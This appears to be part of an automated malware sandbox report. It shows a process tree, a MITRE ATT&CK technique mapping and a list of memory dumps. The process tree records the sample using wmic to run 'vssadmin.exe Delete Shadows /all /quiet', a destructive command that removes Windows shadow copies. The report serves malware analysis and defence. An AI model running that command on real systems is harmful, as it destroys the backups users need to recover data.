1⤵
- Process spawned unexpected child process
PID:836
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2076
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2212

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1876

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1020-71-0x0000000001B80000-0x0000000001B81000-memory.dmp

Filesize
4KB

Download
memory/1020-61-0x0000000001D50000-0x000000000233E000-memory.dmp

Filesize
5.9MB

Download
memory/1020-69-0x0000000001B60000-0x0000000001B61000-memory.dmp

Filesize
4KB

Download
memory/1020-68-0x0000000001B20000-0x0000000001B21000-memory.dmp

Filesize
4KB

Download
memory/1020-63-0x0000000000530000-0x0000000000531000-memory.dmp

Filesize
4KB

Download
memory/1020-72-0x0000000001C10000-0x0000000001C11000-memory.dmp

Filesize
4KB

Download
memory/1020-70-0x0000000001B70000-0x0000000001B71000-memory.dmp

Filesize
4KB

Download
memory/1020-65-0x0000000001AF0000-0x0000000001AF1000-memory.dmp

Filesize
4KB

Download
memory/1020-74-0x0000000003E90000-0x0000000003E91000-memory.dmp

Filesize
4KB

Download
memory/1020-62-0x0000000000520000-0x0000000000521000-memory.dmp

Filesize
4KB

Download
memory/1020-64-0x0000000001AE0000-0x0000000001AE1000-memory.dmp

Filesize
4KB

Download
memory/1020-67-0x0000000001B10000-0x0000000001B11000-memory.dmp

Filesize
4KB

Download
memory/1020-107-0x0000000003EB0000-0x0000000003EB1000-memory.dmp

Filesize
4KB

Download
memory/1020-66-0x0000000001B00000-0x0000000001B01000-memory.dmp

Filesize
4KB

Download
memory/1104-73-0x00000000001D0000-0x00000000001D5000-memory.dmp

Filesize
20KB

Download
memory/1200-60-0x0000000002C30000-0x0000000002C40000-memory.dmp

Filesize
64KB

Download
memory/1664-76-0x000007FEFB7B1000-0x000007FEFB7B3000-memory.dmp

Filesize
8KB

Download